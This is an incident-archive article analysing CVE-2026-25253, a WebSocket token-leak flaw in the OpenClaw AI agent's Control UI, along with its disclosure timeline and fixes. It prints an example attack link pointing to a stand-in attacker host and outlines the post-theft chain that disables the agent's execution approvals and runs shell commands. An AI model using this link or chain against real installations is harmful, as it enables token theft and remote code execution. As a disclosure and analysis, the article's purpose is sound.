An abstract dark-navy editorial illustration: a browser window on the left trails a glowing query-string ribbon that curves across a dark gap into an amber token node, and a thin line from the token continues to a separate endpoint on the right. The only text is a small label reading 'QUERY STRING > TOKEN > GATEWAY'. No people, no logos.
AI Safety Incidents

OpenClaw Control UI WebSocket hijack: one link to RCE

Author

Gideon Frost

Date Published

Latest models · 20View all models →
Benchmarks: Artificial Analysis · updated daily
Back to all posts

On 29 January 2026 the security firm Ethiack published its account of a flaw in OpenClaw, the open-source personal AI agent that runs on a user's own machine and is driven from a browser dashboard called the Control UI. A crafted link could make that dashboard hand an attacker the gateway's authentication token, and with it the ability to run shell commands as the logged-in user. CVE-2026-25253 followed on 1 February 2026 and the project's own advisory the day after, both rating the flaw 8.8, high. Every deployment where someone had signed in to the Control UI was in scope, including instances reachable only on loopback. No source read for this article records the flaw being used against a real user. The archive files the episode as a high-severity infrastructure incident with a B confidence grade and a day-precision date of 29 January 2026, alongside its other agent-security entries in the Orca AI Incident Archive.

What the Control UI did with a URL

OpenClaw is a self-hosted agent that its users reach through messaging apps and a web dashboard, and that operates with what Ethiack's write-up calls "full system access". The project had already been renamed more than once, carrying the names Clawdbot and Moltbot before OpenClaw, and npm's registry records the openclaw package as created on 29 January 2026 at 11:08 UTC. The dashboard is the piece that matters here: it kept the gateway token in browser storage, and it is where the flaw lived.

The Control UI read a gatewayUrl value out of the page's query string in a function named applySettingsFromUrl() and adopted it without checking whether the target was a trusted or local domain. It then connected to that address automatically on page load, with no prompt, and the WebSocket connect frame carried the stored gateway authentication token along with a device ID and public key (SonicWall Capture Labs, 26 February 2026). A link of the form http://<target>/chat?gatewayUrl=ws://evil[.]com was therefore enough to send the token to a server the attacker controlled. OpenClaw's own advisory states the behaviour plainly: "The Control UI trusts gatewayUrl from the query string without validation and auto-connects on load, sending the stored gateway token in the WebSocket connect payload."

Two browser facts turn that leak into a takeover. Browsers do not apply the same-origin policy to WebSocket connections the way they do to ordinary HTTP requests, and the gateway did not validate the Origin header on the upgrade, so JavaScript on a page the victim visited could open a socket straight to ws://localhost:18789 (depthfirst, 1 February 2026). Because the victim's own browser makes the outbound connection, the attack reached gateways bound to loopback and invisible from the network. "This vulnerability is exploitable even on instances configured to listen on loopback only, since the victim's browser initiates the outbound connection," the project's advisory says. Ethiack recorded one further condition at the time: the stable Chrome build it tested did not ship the Local Network Access permission by default, so the browser raised no prompt either.

What the stolen token buys is the rest of the story. It carried the operator.admin and operator.approvals scopes. With those, an attacker could switch off execution approvals by setting exec.approvals.set to "off", move the execution host out of the container by setting tools.exec.host to "gateway", and then run shell commands on the host through a node.invoke / system.run request (depthfirst, 1 February 2026; The Hacker News, 2 February 2026). The vendor advisory summarises the outcome in one clause: the attacker can "modify config (sandbox, tool policies), and invoke privileged actions, achieving 1-click RCE".

A four-step chain card headed 'From a query string to a shell': step one, a crafted link sets the gatewayUrl parameter; step two, the Control UI auto-connects on load and sends the stored token; step three, the attacker replays the token against the victim's gateway; step four, execution approvals are disabled, the execution host is switched to the gateway, and a shell command runs.

Found in under two hours, by a machine

The discovery was itself an AI exercise. Ethiack turned its autonomous pentesting agent, Hackian, loose on a live OpenClaw instance on 26 January 2026 at 13:21 UTC. It confirmed the flaw at 15:05 UTC, about an hour and forty minutes later, which is the figure Ethiack's write-up headlines. The firm reported it to OpenClaw's maintainers at 18:02 UTC. A pull request followed on 27 January and the fix reached the main branch on the evening of 28 January, according to Ethiack's published timeline and the project's commit history.

A second team reached the same conclusion independently. Mav Levin, a founding security researcher at depthfirst, published his own write-up on 1 February 2026, writing that "The OpenClaw team quickly addressed and fixed the issue I reported" and that someone else had independently reported the same bug. GitHub's advisory credits DepthFirstDisclosures as the reporter and lists both 0xacb and mavlevin among the finders. The 0xacb account carries the profile name André Baptista, one of the three co-authors of the Ethiack write-up, which fits the timeline: Ethiack's pull request against the fix was opened from that account on 27 January and the maintainers' commit thanks it by name. No source read for this article says the two efforts knew of each other before publication, and none disputes the credit.

A timeline card with seven dated rows: 26 January 2026 at 13:21 UTC an autonomous pentesting agent starts against a live OpenClaw instance; 15:05 UTC the flaw is confirmed; 18:02 UTC it is reported to the maintainers; 27 January at 17:12 UTC a pull request is opened; 28 January between 21:26 and 21:32 UTC the fix series lands on the main branch; 30 January npm publishes 2026.1.29 at 04:49 UTC and the GitHub release follows at 05:26 UTC; 1 February at 22:34 UTC the CVE record is published, with the project advisory on 2 February.

The record's date, and the dates around it

The archive dates this entry 29 January 2026 with day precision, and that matches the day Ethiack's research became public. The code fix had already landed the previous day. The tagged release carrying it followed in the early hours of 30 January UTC, which is the evening of 29 January in United States Pacific time: npm records version 2026.1.29 at 04:49 UTC on 30 January and the GitHub release at 05:26 UTC. MITRE's CVE record is dated 1 February 2026 at 22:34 UTC, GitHub's advisory 2 February at 23:41 UTC, and The Hacker News carried the flaw on 2 February.

The record's cited source, Permission Protocol's agent incident tracker, keeps its own timeline, and parts of it run late. It places the patching release on 2026-01-29, consistent with the version number, but dates "early reports" of the vulnerability to 2026-02-12 and the broad public disclosure of CVE-2026-25253 to 2026-02-26, with independent roundups on 2026-03-24. The primary documents say otherwise. The 26 February date corresponds to SonicWall's patch analysis, published three and a half weeks after the identifier existed, and 12 February falls between the two research write-ups and the vendor analysis rather than before them. The tracker's last timeline row also calls the mechanism "zero-click"; the vendor advisory calls it 1-click, and every published account describes a victim who has to open a link. Where those dates and labels differ, this article follows the CVE record, the vendor advisory and the two research write-ups.

One caution about that source is worth stating in the open. Permission Protocol sells an authorisation gate, and its entry frames the incident around what its own product would have blocked. The page labels that assessment conditional and says of itself that "the source does not establish a product prevention result". What the record does carry accurately is its framing: the research was public three days before the CVE existed, which is why the archive calls this an early discovery ahead of CVE-2026-25253.

What was actually harmed

Nothing, so far as any source records. The archive marks the record real_harm false, and that is consistent with everything published around it. Belgium's Centre for Cybersecurity issued an advisory on 2 February 2026 stating that "There is currently no evidence that this vulnerability has been exploited in the wild". Neither Ethiack, depthfirst, SonicWall nor The Hacker News reports a victim, a compromised installation or data taken, and none of them puts a number on how many installations were exposed. Ethiack observes only that there were "tons of instances running on public servers" with weak configuration, which is an impression rather than a count.

What does exist is working exploit code. Ethiack published the full exploit source alongside its write-up and demonstrated the chain against its own instance. SonicWall's February analysis shows token capture "using a publicly available exploit". A third-party proof-of-concept repository appeared on GitHub on 9 March 2026. Public exploit code is not the same as exploitation, and the archive's harm flag is about the latter.

One source is looser than the rest and worth flagging. The Belgian advisory's risk section describes the bot itself rendering attacker-controlled content as the trigger, which is not the mechanism in the vendor advisory or in either research write-up: in all three, the victim's browser is lured to a link and the agent is the target, not the delivery vehicle. Its exploitation statement is the citable part; its mechanism summary is not.

What changed, and what the first fix left open

The fix in 2026.1.29 added a confirmation dialog before the Control UI will switch to a different gateway URL. The project's advisory describes the change as "With the change users now need to confirm the new gateway URL in the UI", and the file that renders the dialog is present in the v2026.1.29 tag. That raises the cost of the attack from one click to one click plus a deliberate confirmation. It does not remove the underlying trust in a URL parameter.

Origin validation, the other half of the chain, came later. SonicWall's patch analysis records that "Later updates implemented stringent origin validation controls", listing four checks: reject a missing or invalid Origin header; allow an Origin host that matches the Host header; allow loopback to loopback; allow origins named in a configured allowedOrigins list; and reject everything else. The sequencing is visible in the project's source at the v2026.1.29 tag, where the WebSocket upgrade handler reads and logs the Origin header without applying a policy to it.

Other responses were detection rather than code. SonicWall shipped IPS signature 21908 for what it calls OpenClaw sensitive data exposure. depthfirst advised upgrading and rotating the gateway token if exposure was suspected, which follows directly from the mechanism: a stolen token stays valid until someone changes it.

What is established, and what is not

Established, from primary documents: the vulnerable code path read gatewayUrl from the query string and auto-connected without validation; the connect frame carried the stored token; the gateway did not validate WebSocket origin, so a browser on any site could reach loopback; the token carried admin and approval scopes; versions before 2026.1.29 were affected; and two teams found the flaw independently, one of them an autonomous agent working from the outside.

Not established: that anyone exploited it, how many installations were reachable at the time, and whether the confirmation dialog alone would defeat a determined attacker. The archive's B grade reflects a citation base of one secondary tracker rather than any doubt about the mechanics, and the record is not marked disputed. Those mechanics are corroborated by the vendor advisory, by MITRE's CVE record and by two independent research write-ups, which is more than the record itself claims on its own.

A two-column comparison card. The left column, headed 'Established by primary documents', lists: the gatewayUrl query parameter was trusted and auto-connected; the connect frame sent the stored token; WebSocket origin was not validated; the token held operator.admin and operator.approvals; versions before 2026.1.29 were affected; two teams found it independently. The right column, headed 'Not established', lists: any in-the-wild exploitation; a count of reachable installations; whether the confirmation dialog alone defeats the attack.

The archive's one-line summary calls this an early discovery ahead of CVE-2026-25253, and that is the right way to read the entry: a record of a flaw found, reported and fixed before it had an identifier, in a product built to run commands on the machine it lives on. The CVE that followed describes the same three behaviours, a query parameter, an unprompted connection and a token in the handshake, and no source read for this piece puts anyone on the other end of it.